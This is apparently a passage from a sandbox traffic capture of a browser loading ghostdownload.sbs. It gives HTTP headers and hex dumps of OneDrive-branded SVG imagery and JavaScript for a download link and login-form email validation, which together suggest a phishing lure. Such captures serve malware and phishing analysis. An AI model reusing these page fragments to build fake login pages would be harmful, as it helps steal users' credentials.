20 70 61 67 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 20 6f 62 6a 65 63 74 55 52 4c 20 3d 20 55 
52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 28 62 6c 6f 62 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 63 6f 6e 73 74 20 61 20 3d 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 
65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 6
6 3a 20 6f 62 6a 65 63 74 55 52 4c 2c 0a 20 20 20 20 20 20 20 20 
Data Ascii: put(blob)                // Here, I use it to make an image appear on the page                let objectURL = URL.crea
teObjectURL(blob);                const a = Object.assign(document.createElement("a"),{                    href: objectURL,        

2022-01-13 21:05:20 UTC 19 IN Data Raw: 20 20 20 20 76 61 72 20 72 65 67 65 78 20 3d 20 6e 65 77 20 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 20 2b 20 
6e 61 6d 65 20 2b 20 22 28 3d 28 5b 5e 26 23 5d 2a 29 7c 26 7c 23 7c 24 29 22 29 2c 0a 20 20 20 20 20 20 72 65 73 75 
6c 74 73 20 3d 20 72 65 67 65 78 2e 65 78 65 63 28 75 72 6c 29 3b 0a 20 20 20 20 69 66 20 28 21 72 65 73 75 6c 74 73 
29 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 0a 20 20 20 20 69 66 20 28 21 72 65 73 75 6c 74 73 5b 32 5d 29 20 72 65 74 7
5 72 6e 20 22 22 3b 0a 20 20 20 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 72 65 
73 75 6c 74 73 5b 32 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 22 20 22 29 29 3b 0a 20 20 7d 0a 0a 20 20 66 75 
6e 63 74 69 6f 6e 20 74 6f 67 67 6c 65 4d 6f 64 61 6c 28 29 20 7b 
Data Ascii:     var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),      results = regex.exec(url);    if (!results) retu
rn null;    if (!results[2]) return "";    return decodeURIComponent(results[2].replace(/\+/g, " "));  }  function toggleModal() {

2022-01-13 21:05:20 UTC 20 IN Data Raw: 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 79 6f 75 72 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 22 3b 0a 
20 20 20 20 20 20 6c 6f 67 69 6e 46 6f 72 6d 2e 65 6d 61 69 6c 2e 66 6f 63 75 73 28 29 3b 0a 20 20 20 20 20 20 72 65 74 
75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 7d 0a 20 20 20 20 69 66 20 28 21 65 6d 61 69 6c 72 65 67 65 78 2e 74 65 
73 74 28 6c 6f 67 69 6e 46 6f 72 6d 2e 65 6d 61 69 6c 2e 76 61 6c 75 65 29 29 20 7b 0a 20 20 20 20 20 20 24 28 22 23 65 
6d 61 69 6c 2d 65 72 72 6f 72 22 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 
61 20 76 61 6c 69 64 20 65 6d 61 69 6c 22 3b 0a 20 20 20 20 20 20 6c 6f 67 69 6e 46 6f 72 6d 2e 65 6d 61 69 6c 2e 66 6f 
63 75 73 28 29 3b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 
Data Ascii:  "Please enter your email address";      loginForm.email.focus();      return false;    }    if (!emailregex.test(logi
nForm.email.value)) {      $("#email-error").innerHTML = "Please enter a valid email";      loginForm.email.focus();      return 
f

2022-01-13 21:05:20 UTC 21 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.4 49776 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:19 UTC 13 OUT GET /file-7564c3328869m00865113607754b653/assets/images/white-onedrive.02a11105.svg HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:20 UTC 29 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:20 GMT
Content-Type: image/svg+xml
Transfer-Encoding: chunked
Connection: close
cache-control: public, max-age=604800
expires: Thu, 20 Jan 2022 21:05:20 GMT
last-modified: Mon, 07 Dec 2020 23:14:09 GMT
vary: Accept-Encoding
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: MISS
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JhEK2c3CUFx3pCU%2FG06V99uOz9ktAc
W8xXS4MlGUxJwkbrJfifZAe%2Bpc4OgRTv3IY9zRoDI15bII444HaDDgzEqKduJ9drxvVoQn9hAFPDPl4OIS%2Fnv3
0bMtovbGQPvT%2B8lbZQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd19501fb1f8745-DUS
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2022-01-13 21:05:20 UTC 30 IN Data Raw: 37 63 37 35 0d 0a 3c 73 76 67 20 68 65 69 67 68 74 3d 22 35 31 32 22 20 73 74 79 6c 65 3d 22 65 6e 61 62 6c 
65 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 65 77 20 30 20 30 20 35 31 32 20 35 31 32 3b 22 20 76 65 72 73 69 6f 6e 3d 
22 31 2e 31 22 20 77 69 64 74 68 3d 22 35 31 32 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 20 
78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 
3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 3c 72 
65 63 74 20 69 64 3d 22 62 61 63 6b 67 72 6f 75 6e 64 72 65 63 74 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 6
9 67 68 74 3d 22 31 30 30 25 22 20 78 3d 22 30 22 20 79 3d 22 30 
Data Ascii: 7c75<svg height="512" style="enable-background:new 0 0 512 512;" version="1.1" width="512" xml:spa
ce="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><rect id="backgroundrect" 
width="100%" height="100%" x="0" y="0

2022-01-13 21:05:20 UTC 30 IN Data Raw: 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 37 31 2e 31 32 35 2c 2d 31 2e 38 39 36 20 32 2e 31 32 35 2c 2d 31 
2e 38 39 36 20 32 2e 31 32 35 2c 2d 37 30 2e 38 39 36 20 37 31 2e 31 32 35 2c 2d 37 30 2e 38 39 36 20 20 20 22 20 73 
74 79 6c 65 3d 22 66 69 6c 6c 3a 6e 6f 6e 65 3b 22 20 69 64 3d 22 73 76 67 5f 32 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 
6f 69 6e 74 73 3d 22 37 31 2e 31 32 35 2c 2d 31 2e 38 39 36 20 32 2e 31 32 35 2c 2d 31 2e 38 39 36 20 32 2e 31 32 35 
2c 2d 37 30 2e 38 39 36 20 37 31 2e 31 32 35 2c 2d 37 30 2e 38 39 36 20 20 20 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3
a 23 46 36 42 42 36 30 3b 22 20 69 64 3d 22 73 76 67 5f 33 22 2f 3e 3c 67 20 69 64 3d 22 73 76 67 5f 34 22 3e 3c 70 61 7
4 68 20 64 3d 22 4d 36 31 2e 37 37 32 2d 37 31 2e 36 35 33 63 30 
Data Ascii: lygon points="71.125,-1.896 2.125,-1.896 2.125,-70.896 71.125,-70.896   " style="fill:none;" id="svg_2"/><po
lygon points="71.125,-1.896 2.125,-1.896 2.125,-70.896 71.125,-70.896   " style="fill:#F6BB60;" id="svg_3"/><g id="svg_4
"><path d="M61.772-71.653c0

2022-01-13 21:05:20 UTC 31 IN Data Raw: 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 
2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 34 
31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 
2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2
c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 
2d 30 2e 30 35 33 63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 
34 35 20 20 20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 
Data Ascii: 5-0.045,0.161     c-0.01,0.119,0.017,0.266,0.068,0.37c0.097,0.198,0.268,0.413,0.435,0.544c0.19,0.1
48,0.365,0.572,0.608,0.631     c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.397,0.01,0.571-0.053c0.222-0.
079,0.127-0.337,0.288-0.45     c0.104-0.074,0.2

2022-01-13 21:05:20 UTC 33 IN Data Raw: 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 63 2d 30 2e 30 30 
33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 
38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 
2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2
d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 30 2e 30 32 36 2d 30 2e 
32 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 31 35 2c 30 2e 30 30 35 
2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 20 20 20 
Data Ascii: 0.114,0.002-0.224,0-0.337     c-0.003-0.2,0.017-0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-
0.18,0.034-0.287,0.126-0.442,0.207     c-0.17,0.088-0.139,0.166-0.318,0.224c-0.081,0.026-0.216,0.124-0.215,0.224c0.0
01,0.115,0.005,0.051,0.012,0.169     

2022-01-13 21:05:20 UTC 34 IN Data Raw: 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 
33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 30 31 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 
2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 
20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 3
0 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 
2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 63 30 2e 31 37 37 
2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 
Data Ascii:    c-0.05,0.062-0.099,0.276-0.079,0.362c-0.169,0.058-0.01,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-
0.045,0.161     c-0.01,0.119,0.017,0.266,0.068,0.37c0.097,0.198,0.268,0.413,0.435,0.544c0.19,0.148,0.365,0.572,0.608,0.
631     c0.177,0.042,0.384-0.104,0.54

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 35 IN Data Raw: 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 20 20 63 30 2e 30 33 39 2d 30 2e 31 30 33 2c 30 2e 31 
31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 
31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 
2c 30 2d 30 2e 33 33 37 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 
30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 
30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 
30 37 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 30 2e 31 33 
Data Ascii: 145,0.039-0.221     c0.039-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0
.114,0.002-0.224,0-0.337     c-0.003-0.2,0.017-0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18,0.034-
0.287,0.126-0.442,0.207     c-0.17,0.088-0.13

2022-01-13 21:05:20 UTC 37 IN Data Raw: 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 38 2e 31 30 35 2d 37 31 2e 36 35 33 63 30 2e 30 31 38 2c 30 2e 30 37 32 
2c 30 2e 30 30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 2c 30 2e 31 30 31 2d 30 2e 
31 31 32 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 63 2d 30 2e 30 35 2c 30 2e 30 36 32 2d 
30 2e 30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 39 2c 30 2e 30 35 38 2d 30 2e 3
0 31 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 30 2e 
31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 31 37 2c 
30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 
Data Ascii: /><path d="M8.105-71.653c0.018,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128     c-
0.05,0.062-0.099,0.276-0.079,0.362c-0.169,0.058-0.01,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161     c-0.0
1,0.119,0.017,0.266,0.068,0.37c0.097,

2022-01-13 21:05:20 UTC 38 IN Data Raw: 30 2e 34 35 20 20 20 20 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 
30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 2e 30 37 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 
36 63 30 2e 30 31 36 2d 30 2e 30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 
20 20 63 30 2e 30 33 38 2d 30 2e 31 30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2
e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 31 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 31 
2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 
30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 
Data Ascii: 0.45     c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.07,0.339-0.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-
0.221     c0.038-0.103,0.111-0.16,0.09-0.293c-0.01-0.062-0.051-0.12-0.064-0.187c-0.021-0.114,0.002-0.224,0-0.337     c-
0.003-0.2,0.017-0.379-0.078-0.

2022-01-13 21:05:20 UTC 40 IN Data Raw: 32 32 34 63 30 2e 30 30 32 2c 30 2e 31 31 35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 
31 36 39 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 
30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 31 35 
22 2f 3e 3c 2f 67 3e 3c 70 61 74 68 20 64 3d 22 4d 30 2e 34 39 35 2d 37 31 2e 36 35 33 63 30 2e 30 31 38 2c 30 2e 30 37 
32 2c 30 2e 30 30 38 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 32 2c 30 2e 31 30 31 2d 30 2
e 31 31 33 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 63 2d 30 2e 30 35 31 2c 30 2e 30 36 32 2d 
30 2e 30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 
Data Ascii: 224c0.002,0.115,0.005,0.051,0.012,0.169     c-0.021,0.011-0.021-0.005-0.03-0.025" style="fill:#FFFFFF;" id="
svg_15"/></g><path d="M0.495-71.653c0.018,0.072,0.008,0.127-0.026,0.19c-0.052,0.101-0.113,0.062-0.165,0.128    c-
0.051,0.062-0.099,0.276-0.079,0.36

2022-01-13 21:05:20 UTC 41 IN Data Raw: 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2c 30 2e 36 30 38 2c 30 2e 36 
33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 30 34 2c 30 2e 35 34 33 2d 
30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 35 37 31 2d 30 2e 30 35 33 
63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 2e 31 32 37 2d 30 2e 33 33 37 2c 30 2e 32 38 38 2d 30 2e 34 35 20 20 20 20 2
0 20 63 30 2e 31 30 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 
32 2d 30 2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 
30 38 32 2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 
Data Ascii: 544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043,0.397,
0.01,0.571-0.053c0.222-0.079,0.127-0.337,0.288-0.45      c0.104-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0
.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-0.

2022-01-13 21:05:20 UTC 42 IN Data Raw: 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 37 38 39 63 2d 30 2e 31 38 2c 30 
2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 20 20 20 20 20 20 63 2d 30 2e 31 
37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 32 32 34 63 2d 30 2e 30 38 31 2c 
30 2e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 31 32 34 2d 30 2e 32 31 35 2c 30 2e 32 32 34 63 30 2e 30 30 31 2c 30 2e 31 3
1 35 2c 30 2e 30 30 35 2c 30 2e 30 35 31 2c 30 2e 30 31 32 2c 30 2e 31 36 39 20 20 20 20 20 20 63 2d 30 2e 30 32 31 2c 
30 2e 30 31 31 2d 30 2e 30 32 31 2d 30 2e 30 30 35 2d 30 2e 30 33 2d 30 2e 30 32 35 22 20 73 74 79 6c 65 3d 22 66 69 
6c 6c 3a 23 46 46 46 46 46 46 3b 22 20 69 64 3d 22 73 76 67 5f 32 30 
Data Ascii: .688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-0.139,0.166-0.318,0.224c-
0.081,0.026-0.216,0.124-0.215,0.224c0.001,0.115,0.005,0.051,0.012,0.169      c-0.021,0.011-0.021-0.005-0.03-0.025" 
style="fill:#FFFFFF;" id="svg_20

2022-01-13 21:05:20 UTC 44 IN Data Raw: 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2e 30 35 2d 30 2e 30 34 31 2c 
30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 30 2e 31 31 39 2c 30 2e 30 
31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 38 2c 30 2e 32 36 38 2c 30 
2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 34 34 63 30 2e 31 39 2c 30 2e 31 34 38 2c 30 2e 33 36 35 2c 30 2e 35 37 32 2
c 30 2e 36 30 38 2c 30 2e 36 33 31 20 20 20 20 20 20 63 30 2e 31 37 37 2c 30 2e 30 34 32 2c 30 2e 33 38 34 2d 30 2e 31 
30 34 2c 30 2e 35 34 33 2d 30 2e 31 34 33 63 30 2e 31 38 2d 30 2e 30 34 33 2c 30 2e 33 39 37 2c 30 2e 30 31 2c 30 2e 
35 37 31 2d 30 2e 30 35 33 63 30 2e 32 32 32 2d 30 2e 30 37 39 2c 30 
Data Ascii: ,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119,0.017,0.266,0.068,0.37c0.097,0.198,0
.268,0.413,0.435,0.544c0.19,0.148,0.365,0.572,0.608,0.631      c0.177,0.042,0.384-0.104,0.543-0.143c0.18-0.043
,0.397,0.01,0.571-0.053c0.222-0.079,0

2022-01-13 21:05:20 UTC 45 IN Data Raw: 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 30 35 32 2d 30 2e 31 32 2d 
30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 2d 30 2e 32 32 34 2c 30 2d 
30 2e 33 33 37 20 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 2e 33 37 39 2d 30 2e 30 37 
38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 36 38 38 2d 31 2e 32 33 36 2d 30 2e 39 32 39 2d 31 2e 39 37 35 2d 30 2e 
37 38 39 63 2d 30 2e 31 38 2c 30 2e 30 33 34 2d 30 2e 32 38 37 2c 30 2e 31 32 36 2d 30 2e 34 34 32 2c 30 2e 32 30 37 
20 20 20 20 20 20 63 2d 30 2e 31 37 2c 30 2e 30 38 38 2d 30 2e 31 33 39 2c 30 2e 31 36 36 2d 30 2e 33 31 38 2c 30 2e 
32 32 34 63 2d 30 2e 30 38 31 2c 30 2e 30 32 36 2d 30 2e 32 31 36 2c 30 2e 
Data Ascii: ,0.09-0.293c-0.01-0.062-0.052-0.12-0.064-0.187c-0.022-0.114,0.002-0.224,0-0.337      c-0.003-0.2,0.017-
0.379-0.078-0.55c-0.38-0.688-1.236-0.929-1.975-0.789c-0.18,0.034-0.287,0.126-0.442,0.207      c-0.17,0.088-0.139,0.
166-0.318,0.224c-0.081,0.026-0.216,0.

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 46 IN Data Raw: 2c 30 2e 30 37 32 2c 30 2e 30 30 37 2c 30 2e 31 32 37 2d 30 2e 30 32 36 2c 30 2e 31 39 63 2d 30 2e 30 35 33 
2c 30 2e 31 30 31 2d 30 2e 31 31 32 2c 30 2e 30 36 32 2d 30 2e 31 36 35 2c 30 2e 31 32 38 20 20 20 20 20 20 63 2d 30 
2e 30 35 2c 30 2e 30 36 32 2d 30 2e 30 39 39 2c 30 2e 32 37 36 2d 30 2e 30 37 39 2c 30 2e 33 36 32 63 2d 30 2e 31 36 
39 2c 30 2e 30 35 38 2d 30 2e 30 30 39 2c 30 2e 32 32 37 2d 30 2e 30 31 35 2c 30 2e 33 35 63 2d 30 2e 30 30 32 2c 30 2
e 30 35 2d 30 2e 30 34 31 2c 30 2e 31 30 35 2d 30 2e 30 34 35 2c 30 2e 31 36 31 20 20 20 20 20 20 63 2d 30 2e 30 31 2c 
30 2e 31 31 39 2c 30 2e 30 31 37 2c 30 2e 32 36 36 2c 30 2e 30 36 38 2c 30 2e 33 37 63 30 2e 30 39 37 2c 30 2e 31 39 
38 2c 30 2e 32 36 38 2c 30 2e 34 31 33 2c 30 2e 34 33 35 2c 30 2e 35 
Data Ascii: ,0.072,0.007,0.127-0.026,0.19c-0.053,0.101-0.112,0.062-0.165,0.128      c-0.05,0.062-0.099,0.276-0.079,0.362
c-0.169,0.058-0.009,0.227-0.015,0.35c-0.002,0.05-0.041,0.105-0.045,0.161      c-0.01,0.119,0.017,0.266,0.068,0
.37c0.097,0.198,0.268,0.413,0.435,0.5

2022-01-13 21:05:20 UTC 48 IN Data Raw: 34 2d 30 2e 30 37 34 2c 30 2e 32 38 37 2d 30 2e 30 31 2c 30 2e 34 30 36 2d 30 2e 30 35 31 63 30 2e 32 2d 30 
2e 30 36 39 2c 30 2e 33 33 39 2d 30 2e 32 36 33 2c 30 2e 33 37 36 2d 30 2e 34 36 63 30 2e 30 31 36 2d 30 2e 30 38 32 
2c 30 2e 30 31 2d 30 2e 31 34 35 2c 30 2e 30 33 39 2d 30 2e 32 32 31 20 20 20 20 20 20 63 30 2e 30 33 39 2d 30 2e 31 
30 33 2c 30 2e 31 31 31 2d 30 2e 31 36 2c 30 2e 30 39 2d 30 2e 32 39 33 63 2d 30 2e 30 31 2d 30 2e 30 36 32 2d 30 2e 3
0 35 32 2d 30 2e 31 32 2d 30 2e 30 36 34 2d 30 2e 31 38 37 63 2d 30 2e 30 32 32 2d 30 2e 31 31 34 2c 30 2e 30 30 32 
2d 30 2e 32 32 34 2c 30 2d 30 2e 33 33 37 20 20 20 20 20 20 63 2d 30 2e 30 30 33 2d 30 2e 32 2c 30 2e 30 31 37 2d 30 
2e 33 37 39 2d 30 2e 30 37 38 2d 30 2e 35 35 63 2d 30 2e 33 38 2d 30 2e 
Data Ascii: 4-0.074,0.287-0.01,0.406-0.051c0.2-0.069,0.339-0.263,0.376-0.46c0.016-0.082,0.01-0.145,0.039-0.221      
